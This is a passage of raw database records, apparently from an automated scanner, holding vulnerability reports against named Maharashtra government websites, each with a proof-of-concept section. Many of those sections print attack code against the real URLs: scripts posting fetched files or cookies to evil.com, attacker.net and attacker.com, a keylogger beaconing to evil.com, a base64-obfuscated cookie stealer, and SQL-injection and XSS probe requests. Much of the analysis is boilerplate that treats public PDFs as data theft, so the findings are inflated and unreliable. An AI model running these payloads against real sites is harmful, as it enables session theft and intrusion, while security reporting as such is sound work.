(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/NHM_Components_benefit_for_2019-20.pdf |\n\n**Description**\nThe server at the specified location returns overly permissive CORS headers, such as `Access-Control-Allow-Origin: *`. This allows any external website to retrieve the document using JavaScript running in a user’s browser context. Such configurations are often unintentional and expose internal documentation unnecessarily.\n\n**Attack Scenario (Proof of Concept)**\nA malicious actor creates an HTML page hosted externally:\n```html\n<script>\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/PDF/NHM_Components_benefit_for_2019-20.pdf\")\n  .then(res => res.blob())\n  .then(blob => {\n    const url = window.URL.createObjectURL(blob);\n    const a = document.createElement('a');\n    a.href = url;\n    a.download = \"NHM_Components_benefit_for_2019-20.pdf\";\n    a.click();\n  });\n</script>\n```\nWhen users visit the attacker-controlled site, they unknowingly download the document, possibly bypassing intended access controls.\n\n**Business Impact**\nUnauthorized access to scheme-related documents compromises transparency and privacy expectations. Attackers may harvest these files for phishing campaigns targeting beneficiaries or gain insight into administrative processes for future targeted attacks.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-DrBabasahebAmbedkarKrushiSwavalambanYojana.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-DrBabasahebAmbedkarKrushiSwavalambanYojana.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-DrBabasahebAmbedkarKrushiSwavalambanYojana.pdf |\n\n**Description**\nThe server responds with permissive CORS headers when serving this PDF, indicating a lack of proper origin validation. This exposes the document to cross-origin retrieval via client-side scripts, undermining expected access control mechanisms.\n\n**Attack Scenario (Proof of Concept)**\nUsing JavaScript embedded in a third-party site:\n```javascript\nvar xhr = new XMLHttpRequest();\nxhr.open('GET', 'https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-DrBabasahebAmbedkarKrushiSwavalambanYojana.pdf', true);\nxhr.onreadystatechange = function () {\n  if (xhr.readyState === 4 && xhr.status === 200) {\n    var blob = new Blob([xhr.response], {type: 'application/pdf'});\n    var link = document.createElement('a');\n    link.href = window.URL.createObjectURL(blob);\n    link.download = 'scheme-details.pdf';\n    link.click();\n  }\n};\nxhr.responseType = 'arraybuffer';\nxhr.send();\n```\n\n**Business Impact**\nExposure of scheme-specific documents increases risks related to impersonation, misinformation dissemination, and potential misuse of public program data. It also weakens overall system integrity and compliance posture.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf |\n\n**Description**\nMisconfigured CORS headers allow unrestricted cross-origin access to the PDF document. This indicates poor enforcement of access policies and opens up possibilities for unauthorized scraping or embedding of protected material.\n\n**Attack Scenario (Proof of Concept)**\nEmbedding the PDF directly within an iframe on a malicious site:\n```html\n<iframe src=\"https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf\"></iframe>\n```\nOr retrieving it programmatically:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf')\n  .then(r => r.blob())\n  .then(b => console.log(b));\n```\n\n**Business Impact**\nUncontrolled access to agricultural benefit documents can enable fraudulent claims, social engineering attempts, or competitive intelligence gathering against state-run initiatives.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_NationalFoodSecurityMissionFood_GrainsOilseedsSugarcaneCotton.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_NationalFoodSecurityMissionFood_GrainsOilseedsSugarcaneCotton.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_NationalFoodSecurityMissionFood_GrainsOilseedsSugarcaneCotton.pdf |\n\n**Description**\nPermissive CORS settings returned by the server indicate that the resource can be fetched from arbitrary origins. This represents a failure to restrict access appropriately based on referer or origin checks.\n\n**Attack Scenario (Proof of Concept)**\nJavaScript code executed remotely:\n```javascript\nconst pdfUrl = \"https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_NationalFoodSecurityMissionFood_GrainsOilseedsSugarcaneCotton.pdf\";\n\nfetch(pdfUrl)\n  .then(response => response.arrayBuffer())\n  .then(buffer => {\n    // Send buffer to attacker-controlled backend\n    fetch(\"https://evil.com/upload\", { method: \"POST\", body: buffer });\n  });\n```\n\n**Business Impact**\nData exfiltration of food security mission documents poses significant threats including misuse of beneficiary lists, manipulation of subsidy eligibility criteria, and erosion of citizen trust in digital governance platforms.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BirsaMundaKrishiKrantiYojana(TribalSubPlan-OutsideTribalSubPlan).pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BirsaMundaKrishiKrantiYojana(TribalSubPlan-OutsideTribalSubPlan).pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BirsaMundaKrishiKrantiYojana(TribalSubPlan-OutsideTribalSubPlan).pdf |\n\n**Description**\nThe presence of permissive CORS headers implies that the server does not enforce strict origin-based restrictions. This leaves the document open to unauthorized access from other domains, violating principle of least privilege.\n\n**Attack Scenario (Proof of Concept)**\nMalicious script snippet:\n```javascript\nlet req = new XMLHttpRequest();\nreq.open(\"GET\", \"https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BirsaMundaKrishiKrantiYojana(TribalSubPlan-OutsideTribalSubPlan).pdf\");\nreq.onload = function() {\n  let blob = new Blob([this.response], { type: 'application/pdf' });\n  let reader = new FileReader();\n  reader.onloadend = function() {\n    fetch(\"https://attacker.net/steal\", {\n      method: \"POST\",\n      body: JSON.stringify({data: btoa(reader.result)})\n    });\n  };\n  reader.readAsBinaryString(blob);\n};\nreq.responseType = \"blob\";\nreq.send();\n```\n\n**Business Impact**\nLeakage of tribal-focused agricultural scheme documents may result in identity theft, impersonation fraud, and targeted scams aimed at marginalized communities relying on such programs.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/34.pdf / https://mahadbt.maharashtra.gov.in/PDF/34.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/34.pdf |\n\n**Description**\nThe server returns overly broad CORS headers, enabling cross-origin","summary":{"total":2494}},"summary":{"total":2494}},{"_id":{"$oid":"6a2720cce0fca2b8d7c23e83"},"created_at":{"$date":"2026-06-08T20:06:36.343Z"},"url":"https://cetcell.mahacet.org/","tool":"generate_web_vulnerability_report","result":{"url":"https://cetcell.mahacet.org/","category":"web_vulnerability","timestamp":"2026-06-08T20:06:36.332933+00:00","report":"### Internal Server Error / https://cetcell.mahacet.org/wp-json/oembed/1.0/embed\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-json/oembed/1.0/embed |\n\n**Description**  \nServer returns HTTP 500 Internal Server Error when injecting payloads into the `format` parameter of the oEmbed endpoint. This indicates improper error handling and potential instability that could be abused to cause denial-of-service conditions or leak stack traces aiding further exploitation.\n\n**Attack Scenario (Proof of Concept)**  \nAttacker sends crafted GET request:\n```\nGET /wp-json/oembed/1.0/embed?url=https%3A%2F%2Fcetcell.mahacet.org&format=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1\nHost: cetcell.mahacet.org\n```\nServer crashes with 500 error, suggesting malformed inputs aren't sanitized or validated properly.\n\n**Business Impact**  \nRepeated triggering of 500 errors can degrade availability and disrupt normal service operation. Stack trace disclosures accompanying crashes may expose database schemas, library versions, or filesystem paths useful for crafting precise attacks.\n\n---\n\n### Internal Server Error / https://cetcell.mahacet.org/wp-json/oembed/1.0/embed\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-json/oembed/1.0/embed |\n\n**Description**  \nInjection of payloads into the `lang` query parameter similarly induces HTTP 500 responses, indicating flawed parsing or localization logic susceptible to abuse. Poor input validation increases both crash frequency and risk of remote code execution depending on backend implementation.\n\n**Attack Scenario (Proof of Concept)**  \nRequest sent:\n```\nGET /wp-json/oembed/1.0/embed?url=https%3A%2F%2Fcetcell.mahacet.org&lang=' OR '1'='1 HTTP/1.1\nHost: cetcell.mahacet.org\n```\nResults in server-side exception and 500 status, implying SQL-like syntax parsing without adequate escaping.\n\n**Business Impact**  \nPersistent 5xx errors degrade user experience and signal systemic weaknesses in backend resilience. Combined with other indicators, they raise concerns regarding broader architectural robustness and readiness for adversarial engagement.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cap-_2025-26/ / https://cetcell.mahacet.org/cap-_2025-26/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cap-_2025-26/ |\n\n**Description**\n\nThis finding indicates that the web application at `https://cetcell.mahacet.org/cap-_2025-26/` loads one or more JavaScript resources from a third-party domain. While not inherently insecure, such practices can introduce risks if the external scripts are compromised or used maliciously. Third-party scripts execute within the context of the hosting page, which means they have access to cookies, DOM elements, and other sensitive information.\n\nIf an attacker gains control over the CDN or third-party server serving these scripts, they could inject malicious code into the website without needing direct access to the main server. Additionally, even legitimate third-party services may inadvertently expose users to tracking or profiling mechanisms.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker identifies that the site includes a script hosted on a third-party domain like:\n\n```html\n<script src=\"https://cdn.example.com/script.js\"></script>\n```\n\nThe attacker then compromises the CDN (`cdn.example.com`) by exploiting weak credentials or DNS hijacking. They modify `script.js` to include malicious logic such as stealing session cookies:\n\n```javascript\ndocument.addEventListener('DOMContentLoaded', function() {\n    fetch('https://attacker.com/steal?cookie=' + document.cookie);\n});\n```\n\nWhen users visit `https://cetcell.mahacet.org/cap-_2025-26/`, their browsers load and execute the modified script, sending sensitive authentication tokens to the attacker's server.\n\n**Business Impact**\n\nAlthough this vulnerability does not directly lead to system compromise, it introduces significant risk related to trust boundaries and potential exposure of user data. If exploited, attackers could gain unauthorized access to authenticated sessions, leading to impersonation, privacy violations, and reputational harm. It also raises compliance concerns under regulations like GDPR or PCI DSS due to improper handling of user data.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cap-_2026-27/ / https://cetcell.mahacet.org/cap-_2026-27/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cap-_2026-27/ |\n\n**Description**\n\nSimilar to the previous instance, this page includes JavaScript files sourced from domains outside the primary origin. This practice increases the attack surface since the integrity of the included scripts depends on the security posture of the third-party servers. Any compromise or misconfiguration on those servers can affect the security of the host application.\n\nThird-party scripts often lack proper Content Security Policy enforcement and may not undergo rigorous auditing compared to first-party assets. As a result, they pose a latent threat vector for supply chain attacks.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the following script tag is present:\n\n```html\n<script src=\"https://external-scripts.org/library.min.js\"></script>\n```\n\nAn attacker compromises `external-scripts.org` and replaces `library.min.js` with a version containing:\n\n```javascript\nnew Image().src = \"http://malicious-site.com/log.php?data=\"+btoa(document.body.innerHTML);\n```\n\nUpon loading the affected page, all content visible to the user—including forms, personal details, or internal links—is exfiltrated to the attacker’s server via image requests.\n\n**Business Impact**\n\nSuch vulnerabilities undermine user confidence in the platform’s ability to protect them from external threats. In case of exploitation, there is a risk of credential theft, session hijacking, and leakage of confidential data. Regulatory bodies might penalize organizations failing to maintain adequate controls over externally loaded content.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/2024-2025/ / https://cetcell.mahacet.org/2024-2025/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/2024-2025/ |\n\n**Description**\n\nThis page incorporates JavaScript libraries from external domains. These dependencies increase the complexity of maintaining consistent security across integrated components. Should any third-party provider suffer a breach or implement insecure coding practices, the integrity of the entire page becomes questionable.\n\nMoreover, many third-party scripts do not follow best practices regarding subresource integrity (SRI), making it difficult to detect tampering post-deployment.\n\n**Attack Scenario (Proof of Concept)**\n\nConsider the inclusion of a third-party analytics script:\n\n```html\n<script src=\"https://analytics.example.net/tracker.js\"></script>\n```\n\nIf `analytics.example.net` gets compromised and the tracker script is altered to include:\n\n```javascript\neval(atob(\"ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnPGltZyBzcmM9Imh0dHA6Ly9hdHRhY2tlci5jb20vaW1hZ2UucGhwP2RhdGE9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWUpOw==\"));\n```\n\nIt dynamically injects an image tag that steals cookies upon execution.\n\n**Business Impact**\n\nExploitation leads to unauthorized access to user sessions, possible defacement of pages, and erosion of public trust. Organizations relying heavily on third-party integrations face heightened scrutiny around vendor risk management and data protection obligations.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/educms_download_category/grfine-art/ / https://cetcell.mahacet.org/educms_download_category/grfine-art/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/educms_download_category/grfine-art/ |\n\n**Description**\n\nThe presence of cross-domain JavaScript sources implies reliance on external infrastructure for core functionality. Without strict validation or SRI hashes, these scripts represent a persistent entry point for adversaries seeking to exploit weaknesses in third-party ecosystems.\n\nInsecure third-party scripts can bypass traditional perimeter defenses because they originate from trusted domains but carry untrusted payloads.\n\n**Attack Scenario (Proof of Concept)**\n\nAssume the following script reference:\n\n```html\n<script src=\"https://widgets.example.io/widget.js\"></script>\n```\n\nAn attacker compromises `widgets.example.io` and modifies `widget.js` to perform clickjacking or keylogging operations:\n\n```javascript\nwindow.onkeypress = function(e){\n    var k = e.key;\n    navigator.sendBeacon(\"https://evil.com/log\", k);\n};\n```\n\nEvery keystroke made while interacting with the page is silently transmitted to an external endpoint.\n\n**Business Impact**\n\nSuch breaches erode customer trust and expose the organization to legal liabilities associated with inadequate safeguarding of user interactions. It also complicates incident response efforts due to shared responsibility models involving multiple vendors.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/admissions/ / https://cetcell.mahacet.org/admissions/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/admissions/ |\n\n**Description**\n\nAdmission portals typically handle sensitive applicant data including personal identifiers, academic records, and financial information. Including third-party scripts increases the probability of unintended data leakage or unauthorized behavior triggered remotely.\n\nThese scripts operate with full privileges granted to the current browsing context, posing elevated risk when dealing with high-value targets.\n\n**Attack Scenario (Proof of Concept)**\n\nA third-party form validation library is loaded from:\n\n```html\n<script src=\"https://forms.validator.net/form-validator.min.js\"></script>\n```\n\nIf the validator domain is breached, attackers replace the script with:\n\n```javascript\nfetch('/submit-application', {method:'POST', body:JSON.stringify({...})})\n.then(r=>r.json())\n.then(d=>{\n    fetch('https://attacker-collector.com/exfil', {method:'POST', body:d});\n});\n```\n\nAll submitted application data is mirrored to an external collector.\n\n**Business Impact**\n\nUnauthorized disclosure of admission-related data violates student privacy rights and may trigger investigations under educational privacy laws such as FERPA. Institutions must rigorously audit third-party integrations to avoid liability stemming from indirect breaches.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/notices/ / https://cetcell.mahacet.org/notices/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/notices/ |\n\n**Description**\n\nIncluding JavaScript libraries from third-party domains introduces dependency risks including supply chain compromise, performance degradation, and increased attack surface. External scripts execute with same privileges as local ones, potentially accessing sensitive DOM elements or cookies.\n\nWhile useful for leveraging CDN-hosted libraries, improper validation or whitelisting can expose sites to rogue code injection.\n\n**Attack Scenario (Proof of Concept)**\n\nThird-party script provider suffers compromise:\n\n1. Malicious actor gains control over CDN hosting jQuery library.\n2. Modified script deployed globally affecting all consumers including `notices/`.\n3. Script exfiltrates session tokens or performs clickjacking maneuvers undetected.\n\nSite owner loses oversight over runtime behavior due to external dependencies.\n\n**Business Impact**\n\nSupply chain attacks exploiting cross-domain inclusion represent growing threat vector. Organizations face liability for damages caused by compromised third parties despite having no direct control over source repositories.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/infobrcetfine-art/ / https://cetcell.mahacet.org/categorycms/infobrcetfine-art/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/infobrcetfine-art/ |\n\n**Description**\n\nPage loads external JavaScript libraries sourced from non-origin domains. Such practices increase latency, reduce autonomy, and expand attack surface through indirect dependencies. Third-party scripts inherit same-origin privileges enabling unrestricted DOM traversal and event capturing.\n\nDespite benefits like faster load times or feature parity, risks outweigh advantages unless strict CSP policies govern inclusion patterns.\n\n**Attack Scenario (Proof of Concept)**\n\nCDN outage disrupts functionality:\n\n1. Remote script fails to load due to temporary downtime.\n2. Page breaks unexpectedly disrupting core navigation or interactive elements.\n3. Users abandon site perceiving instability or unreliability.\n\nAlternatively, compromised CDN serves malicious variant affecting all visitors simultaneously.\n\n**Business Impact**\n\nReliance on external infrastructure fragments ownership model complicating incident response procedures. Outages originating beyond organizational boundaries delay recovery timelines and strain customer relations.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/this-is-external-test/ / https://cetcell.mahacet.org/cms-download/this-is-external-test/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/this-is-external-test/ |\n\n**Description**\n\nDownload test page incorporates external JavaScript sources violating principle of self-contained deployments. Dependencies sourced externally create implicit trust relationships exposing consumers to upstream failures or malicious alterations.\n\nBest practice advocates bundling critical libraries locally or employing subresource integrity hashes verifying authenticity before execution.\n\n**Attack Scenario (Proof of Concept)**\n\nExternal library hijacked:\n\n1. Domain hosting required JS file compromised.\n2. Malicious variant injected containing keylogger or crypto miner.\n3. All visitors loading page unknowingly execute hostile code.\n\nLocal bundling eliminates dependency chain vulnerabilities enhancing resilience.\n\n**Business Impact**\n\nThird-party integrations complicate governance frameworks complicating audit trails and accountability chains. Organizations adopting decentralized architectures must balance convenience against controllability tradeoffs carefully.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/government-resolutions/ / https://cetcell.mahacet.org/government-resolutions/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.0 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/government-resolutions/ |\n\n**Description**\n\nThe page at `/government-resolutions/` loads external JavaScript files from third-party domains. While common practice in many websites leveraging CDNs or analytics services, including scripts from untrusted sources introduces supply chain risks. An attacker who compromises the CDN or manipulates DNS resolution could inject malicious code into the website.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the following script tag appears in the HTML source:\n```html\n<script src=\"https://cdn.example.com/library.js\"></script>\n```\nIf `example.com` becomes compromised or suffers from DNS hijacking, attackers could serve malicious JavaScript that steals cookies, performs phishing actions, or redirects users to malicious sites.\n\nTo detect this manually:\n```bash\ncurl -s https://cetcell.mahacet.org/government-resolutions/ | grep \"<script.*src=\"\n```\n\n**Business Impact**\n\nIncluding third-party scripts exposes the organization to indirect breaches caused by external dependencies. Even legitimate providers can suffer outages or security incidents that affect downstream consumers. Trust boundaries blur when relying on externally hosted logic, increasing both operational complexity and attack surface area.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/2022-2023-3/ / https://cetcell.mahacet.org/2022-2023-3/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.0 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/2022-2023-3/ |\n\n**Description**\n\nSimilar to the previous case, this page includes external JavaScript libraries sourced from third-party domains. Such inclusion creates dependency risks and opens pathways for client-side attacks originating outside the primary domain.\n\n**Attack Scenario (Proof of Concept)**\n\nConsider a scenario where a third-party analytics script is loaded dynamically:\n```html\n<script async src=\"https://stats.external-analytics.net/tracker.js\"></script>\n```\nShould the domain `external-analytics.net` fall victim to a man-in-the-middle attack or subdomain takeover, attackers could inject arbitrary JavaScript into all pages loading that script.\n\nDetection approach:\n```bash\ncurl -s https://cetcell.mahacet.org/2022-2023-3/ | grep -oE 'https?://[^\"]+\\.js'\n```\n\n**Business Impact**\n\nOrganizations relying heavily on third-party scripts must maintain strict oversight of those dependencies. Any breach or compromise upstream can propagate directly onto their own digital properties, leading to brand erosion, legal liabilities, and customer distrust.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/ / https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/ |\n\n**Description**\n\nThis page loads external JavaScript resources hosted on third-party domains. Such dependencies introduce risks related to supply chain compromise, unauthorized tracking, and potential execution of malicious code if those domains become compromised.\n\nEven though the severity is rated as low, reliance on external scripts should be minimized unless strictly necessary and properly vetted.\n\n**Attack Scenario (Proof of Concept)**\n\nConsider a CDN-hosted library used by the CMS download page:\n```html\n<script src=\"https://cdn.example.com/library.js\"></script>\n```\n\nIf `example.com` becomes compromised or subdomain takeover occurs, attackers gain full script execution privileges on pages referencing it. For instance:\n```javascript\n// Malicious version of library.js\nfetch('https://attacker.com/steal', {\n  method: 'POST',\n  body: document.cookie\n});\n```\n\nUsers visiting the affected page would unknowingly leak session tokens or other sensitive data.\n\n**Business Impact**\n\nThird-party script inclusion poses significant threats to privacy, availability, and brand reputation. Institutions managing admissions portals or publishing official notices cannot afford breaches originating from external dependencies. Moreover, regulatory scrutiny around third-party risk management makes this issue relevant beyond mere technical severity ratings.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/infobrcettechnical/ / https://cetcell.mahacet.org/categorycms/infobrcettechnical/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/infobrcettechnical/ |\n\n**Description**\n\nExternal JavaScript sources increase the risk profile of this page. Any compromise or unauthorized modification of referenced scripts can expose visitors to various forms of client-side attacks including XSS, credential theft, or behavioral manipulation.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker compromises the third-party domain serving a script included in this page. They update the script to collect keystrokes or redirect users to phishing sites. Visitors remain unaware because the script originates from a trusted-looking domain.\n\nHTML Example:\n```html\n<script src=\"https://external-js.com/widget.js\"></script>\n```\n\n**Business Impact**\n\nThird-party script inclusion dilutes accountability and visibility into runtime behavior. Organizations lose granular control over user experiences and face heightened liability in case of breaches originating from vendor infrastructure. Proactive monitoring and sandboxing techniques are essential countermeasures.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/27066-2/ / https://cetcell.mahacet.org/cms-download/27066-2/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/27066-2/ |\n\n**Description**\n\nPage loading external JavaScript resources from third-party domains introduces dependency risks. These dependencies are outside the control of the organization and may expose users to vulnerabilities if those external scripts are tampered with or contain exploitable flaws.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the page includes `<script src=\"https://thirdparty.com/malicious.js\"></script>`. If the CDN becomes compromised and serves:\n\n```javascript\ndocument.write('<img src=x onerror=alert(\"XSS\")>');\n```\n\nAny visitor loading the page will execute this injected script, potentially stealing credentials or redirecting traffic.\n\n**Business Impact**\n\nSupply chain attacks leveraging third-party CDNs can affect large numbers of users quickly. Trust in the integrity of the website diminishes significantly upon detection of such issues.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/registration-window-for-second-attempt-mba-mms-cet-2026-2/ / https://cetcell.mahacet.org/cms-download/registration-window-for-second-attempt-mba-mms-cet-2026-2/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/registration-window-for-second-attempt-mba-mms-cet-2026-2/ |\n\n**Description**\n\nPage loading external JavaScript resources from third-party domains introduces dependency risks. These dependencies are outside the control of the organization and may expose users to vulnerabilities if those external scripts are tampered with or contain exploitable flaws.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the page includes `<script src=\"https://thirdparty.com/malicious.js\"></script>`. If the CDN becomes compromised and serves:\n\n```javascript\ndocument.write('<img src=x onerror=alert(\"XSS\")>');\n```\n\nAny visitor loading the page will execute this injected script, potentially stealing credentials or redirecting traffic.\n\n**Business Impact**\n\nSupply chain attacks leveraging third-party CDNs can affect large numbers of users quickly. Trust in the integrity of the website diminishes significantly upon detection of such issues.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/infobrcetagriculture/ / https://cetcell.mahacet.org/categorycms/infobrcetagriculture/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/infobrcetagriculture/ |\n\n**Description**\n\nIncluding external JavaScript sources introduces dependency risks including supply chain compromise, unauthorized tracking, or injection of malicious payloads. Third-party domains outside organizational control pose significant threats to data confidentiality and system integrity.\n\nSuch inclusion often happens unintentionally through plugins, themes, or CMS modules referencing CDNs or external repositories.\n\n**Attack Scenario (Proof of Concept)**\n\nAssume a third-party CDN serving jQuery becomes compromised:\n\n1. Website loads jQuery from `https://code.jquery.com/jquery.min.js`.\n2. Attacker compromises CDN endpoint and replaces library with backdoored version.\n3. All visitors loading the affected page unknowingly run malicious JavaScript.\n4. Session tokens, form inputs, or personal information get exfiltrated silently.\n\nHTML 